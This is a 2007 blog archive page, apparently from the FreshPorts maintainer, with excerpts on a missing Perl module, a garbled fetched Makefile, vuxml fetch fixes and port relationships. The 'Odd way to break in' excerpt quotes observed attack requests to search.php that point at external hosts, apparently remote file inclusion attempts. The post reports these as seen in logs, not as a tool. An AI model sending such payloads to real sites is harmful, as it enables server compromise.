2007

p5-Text-CSV_XS is missing

Late last night, I wrote about a problem with virtual categories. I’ve been unable to reproduce the problem in test. But I did find the problem in production. [dan@supernews:/usr/websites/freshports.org/scripts] $ touch ../dynamic/www.en.ports.categories [dan@supernews:/usr/websites/freshports.org/scripts] $ sh process_www_en_ports_categories.sh about to fetch: fetch -q -o /usr/websites/freshports.org/dynamic/caching/tmp/categories http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/www/en/ports/categories?rev=HEAD&content-type=text/plain Can’t locate Text/CSV_XS.pm in @INC (@INC contains: /usr/local/lib/perl5/5.8.8/BSDPAN /usr/local/lib/perl5/site_perl/5.8.8/mach /usr/local/lib/perl5/site_perl/5.8.8 /usr/local/lib/perl5/site_perl […]

p5-Text-CSV_XS is missing Read More »

Odd way to break in

Some people like to break into systems. Some like to find vulnerabilities. The good ones will tell you about the vulnerability so you can fix. Many won’t. Then there are the script kiddies. They don’t know much. They know how to run scripts. Lately, I’ve been seeing these requests to the FreshPorts website: /search.php?stype=http://0x00013.50webs.org/tesgcc.txt? /search.php?stype=http://0x0134.lan.io/pb.php?

Odd way to break in Read More »

when is a Makefile not a Makefile?

This is not good: $ file -kb /usr/home/dan/ports/www/p5-HTTP-Size/Makefile Apple Old Partition data block size: 20069, first type: ${PORTSDIR}/www/p5-HTML-SimpleL, name: I \, number of blocks: 1953460746, It should read: $ file -kb /usr/home/dan/ports/sysutils/bacula-server/Makefile ASCII English text Why do I care? The file in question has been fetched from the FreeBSD repository (via cvsweb). I need to

when is a Makefile not a Makefile? Read More »

vuxml – fix

This isn’t so much a fix for the vuxml problem mentioned previously as it is a fix for properly detecting and reporting fetch errors. The patch is pretty simple: $ cvs di -u utilities.pm Index: utilities.pm =================================================================== RCS file: /home/repositories/freshports-1/scripts/utilities.pm,v retrieving revision 1.16 diff -u -r1.16 utilities.pm — utilities.pm 13 Sep 2007 13:01:41 -0000 1.16

vuxml – fix Read More »

vuxml configuration still not right

This morning portaudit told me I needed to upgrade PHP5 on a few servers. Again, I checked FreshPorts to see if a fix was in. Apparently it was. Unfortunately, it was wrong. Checking the version of vuln.xml in the ports tree, I found: $ grep ‘$FreeBSD’ ports/security/vuxml/vuln.xml $FreeBSD: ports/security/vuxml/vuln.xml,v 1.1416 2007/09/11 19:40:02 remko Exp $

vuxml configuration still not right Read More »

master / slave relationships

As reported by sem@, there is a problem with the display of master/slave relationships within FreshPorts. The relationship is stored in the ports table, with the master_port attribute being a pointer to the master port. This text field typically has values such as this: freshports.org=# SELECT DISTINCT(master_port) freshports.org-# FROM ports_active freshports.org-# where master_port ” freshports.org-#

master / slave relationships Read More »

Scroll to Top